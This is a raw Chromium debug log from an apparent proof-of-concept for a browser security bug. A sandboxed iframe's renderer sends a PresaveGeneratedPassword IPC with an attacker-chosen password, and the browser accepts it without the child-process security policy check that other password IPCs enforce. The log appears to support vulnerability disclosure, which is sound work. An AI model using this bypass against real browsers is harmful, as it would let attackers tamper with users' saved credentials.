[1814:1814:0528/142420.111146:ERROR:components/autofill/content/renderer/password_autofill_agent.cc:1527] [POC-RENDERER] sandboxed iframe loaded (http://127.0.0.1:8080/sb.html?poc-sandboxed-trigger)
[1814:1814:0528/142420.111279:ERROR:components/autofill/content/renderer/password_autofill_agent.cc:1528] [POC-RENDERER] FrameCanAccessPasswordManager() = 0  (renderer-side guard; compromised renderer bypasses this)
[1814:1814:0528/142420.111499:ERROR:components/autofill/content/renderer/password_autofill_agent.cc:1541] [POC-RENDERER] sent PasswordGenerationDriver::PresaveGeneratedPassword (un-gated on browser side)
[1814:1814:0528/142420.111647:ERROR:components/autofill/content/renderer/password_autofill_agent.cc:1549] [POC-RENDERER] sent PasswordManagerDriver::PasswordFormSubmitted (CPSP-gated on browser side -> we should be killed)
[1724:1724:0528/142420.120855:ERROR:chrome/browser/password_manager/chrome_password_manager_client.cc:1600] [POC-BROWSER] PresaveGeneratedPassword IPC received in browser process
[1724:1724:0528/142420.120931:ERROR:chrome/browser/password_manager/chrome_password_manager_client.cc:1603] [POC-BROWSER]   sender RFH GetLastCommittedURL = http://127.0.0.1:8080/sb.html?poc-sandboxed-trigger
[1724:1724:0528/142420.120946:ERROR:chrome/browser/password_manager/chrome_password_manager_client.cc:1605] [POC-BROWSER]   sender RFH GetLastCommittedOrigin = null [internally: (571C7667E14D4567F4B7FC58DC8900B9) derived from http://127.0.0.1:8080] (opaque=1)
[1724:1724:0528/142420.120969:ERROR:chrome/browser/password_manager/chrome_password_manager_client.cc:1607] [POC-BROWSER]   ChildProcessSecurityPolicy::CanAccessDataForOrigin(sender_process, http://127.0.0.1:8080) = 0
[1724:1724:0528/142420.120984:ERROR:chrome/browser/password_manager/chrome_password_manager_client.cc:1611] [POC-BROWSER]   form.url after browser-side stamping = http://127.0.0.1:8080/sb.html  (precursor origin)
[1724:1724:0528/142420.120998:ERROR:chrome/browser/password_manager/chrome_password_manager_client.cc:1613] [POC-BROWSER]   attacker-supplied password_value = attacker-chosen-pw
[1724:1724:0528/142420.121011:ERROR:chrome/browser/password_manager/chrome_password_manager_client.cc:1616] [POC-BROWSER]   *** CPSP would DENY this process access to the precursor origin, but PresaveGeneratedPassword performs NO CheckChildProcessSecurityPolicyForURL -> handler proceeds. ***
[1724:1724:0528/142420.121070:WARNING:components/password_manager/content/browser/bad_message.cc:59] Killing renderer: illegal password access. Reason: 7
[1724:1724:0528/142420.121133:ERROR:components/password_manager/content/browser/bad_message.cc:23] Terminating renderer for bad PasswordManager IPC message, reason 7
[1724:1724:0528/142420.145790:WARNING:components/password_manager/content/browser/bad_message.cc:59] Killing renderer: illegal password access. Reason: 3
[1724:1724:0528/142420.145880:ERROR:components/password_manager/content/browser/bad_message.cc:23] Terminating renderer for bad PasswordManager IPC message, reason 3